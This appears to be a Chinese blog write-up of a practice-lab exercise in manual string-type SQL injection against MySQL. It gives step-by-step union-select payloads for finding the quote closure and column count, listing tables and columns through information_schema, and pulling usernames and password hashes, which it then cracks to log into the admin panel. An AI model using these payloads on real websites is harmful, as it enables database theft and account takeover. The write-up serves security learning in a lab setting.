1. 程式人生 > 其它 >WEB安全-SQL手工注入漏洞測試(MySQL資料庫-字元型 )

WEB安全-SQL手工注入漏洞測試(MySQL資料庫-字元型 )

前言 目前鑽研SQLi注入,這是第二篇,靶場名即為標題,連結如下 https://www.mozhe.cn/bug/detail/dE1HSW5yYThxUHcyUTZab2pTcmpGUT09bW96aGUmozhe 對於靶場,我慢慢的會帶入一些自己的想法,可能有些有問題,請各位師傅可以指出 正文 首先檢視一下題目的提示資訊 進入後檢視頁面,發現和上一次寫的一樣 點進公告,發現和之前一樣 對URL進行除錯,首先先檢視閉合,發現是單引號閉合,這裡由於火狐會自動編碼,所以%23即註釋符# ?id=tingjigonggao' %23 之後考慮有多少列,通過二分法發現最大正常位是4 ?id=tingjigonggao' union order by 4 %23
檢視報錯位,發現是2和3報錯 ?id=tingjigonggao123' union select 1,2,3,4 %23 之後就是流程化的獲取資料,先獲取資料庫資訊為 mozhe_discuz_stormgroup ?id=tingjigonggao123' union select 1,database(),3,4 %23 獲取表的資訊為 notice 、stormgroup_member ?id=tingjigonggao123' union select 1,database(),(select table_name from information_schema.tables where table_schema=database() limit 0,1),4%23
這裡還有一種方式就是通過group_concat()函式拉取表資料,使其在同一行打印出來,逗號分隔,但是試了一下好像一直報錯,先貼出來 ?id=tingjigonggao123' union select 1,database(),(group_concat(table_name) from information_schema.tables where table_schema=database()),4 %23 猜測應該是在stormgroup_member 表裡,拉取列資料為 id name password status ,和之前的一樣, ?id=tingjigonggao123' union select 1,database(),(select column_name from information_schema.columns where table_name="stormgroup_member" limit 0,1),4 %23
之後獲取name和password,name兩個都是mozhe,password為 356f589a7df439f6f744ff19bb8092c0 和 ec2e79576066191cf88df175e0038735 ?id=tingjigonggao123' union select 1,database(),(select name from mozhe_discuz_stormgroup.stormgroup_member limit 0,1),4 %23 ?id=tingjigonggao123' union select 1,database(),(select password from mozhe_discuz_stormgroup.stormgroup_member limit 0,1),4 %23 md5解密後,獲取密碼為 194347,登入後臺獲取key 總結 其實這些SQLi題目都可以用sqlmap跑出來,但是為了鞏固手工注入的能力,在此不做演示,具體參照上一篇布林盲注 一些需要的小知識: information_schema的介紹: information_schema:MySQL自帶的資料庫,儲存了資料庫中所有的資料庫、表和列資訊 information_schema.tables:所有表資訊 information_schema.columns:所有列資訊 table_schema:資料庫名稱 table_name:表名稱 column_name:列名稱 group_concat(table_name):列出所有表名